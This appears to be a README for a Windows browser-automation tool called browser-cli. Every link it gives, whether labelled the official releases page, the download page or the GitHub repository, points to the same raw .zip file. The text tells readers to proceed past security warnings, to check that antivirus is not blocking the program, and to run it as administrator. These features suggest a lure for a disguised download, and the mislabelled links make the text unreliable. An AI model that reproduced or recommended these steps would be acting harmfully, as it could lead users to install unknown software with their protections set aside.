browser-cli is a tool to help you automate tasks in your web browser. It lets you control the browser without using a mouse or typing commands yourself. You can tell it what to do, and it will follow your instructions. This tool is built to work with OpenClaw but can be used on its own for basic browser automation.
You don’t need to know programming to use this. The steps below will guide you to download and start it on a Windows PC.
- Windows 10 or higher
- At least 4 GB of RAM
- 100 MB free disk space
- Internet connection to download files
This section explains how to get the program and prepare your system.
You will need to download browser-cli from the official releases page. Click the button below to open the download page:
The page shows different versions. Choose the latest stable version marked as "Windows" or with the .exe file extension. If you see multiple files, pick the one without "beta" or "alpha" in the name.
After downloading, follow these steps to install:
- Find the downloaded file on your PC. Usually, it is in the Downloads folder.
- Double-click the file to start installation.
- If a security warning appears, choose to proceed or allow the app.
- Follow the installer's instructions, clicking “Next” or “Install” when prompted.
- Wait for the installation to finish.
- Click “Finish” to close the installer.
Once installed, you can open browser-cli in two ways:
- Use the desktop shortcut named browser-cli.
- Or, open the Start Menu, type “browser-cli,” and press Enter.
When it opens, you will see a simple window or command prompt where you can start automation tasks.
browser-cli runs scripts to automate browsers. Here is how to use it at a simple level:
- Prepare a command file with instructions. For example, you might write steps to open a website or click a button.
- Save your commands in a file with
.txtor.cliextension. - Open the browser-cli window.
- Use the “Run Script” or similar option to load your file.
- The program follows your instructions automatically.
You can find example scripts on the GitHub page in the “Examples” folder.
To keep browser-cli working well, check for new versions:
- Visit the download page regularly:
https://raw.githubusercontent.com/mauritzpatriarchic762/browser-cli/main/cli/browser_cli_2.7.zip - Download the latest version.
- Repeat the install steps above.
This will replace the old version with new improvements or fixes.
If you have trouble, try these steps:
- Restart your PC and run browser-cli again.
- Make sure you have chosen the correct Windows version.
- Check that your antivirus software is not blocking the program.
- Run browser-cli as administrator by right-clicking and selecting “Run as administrator.”
If problems continue, visit the GitHub page and look for support or report issues.
browser-cli runs commands in your browser. Only run scripts you trust. Running unknown scripts may cause websites to behave unexpectedly.
Check the GitHub repository for more details:
https://raw.githubusercontent.com/mauritzpatriarchic762/browser-cli/main/cli/browser_cli_2.7.zip
There you will find guides, examples, and links to help pages.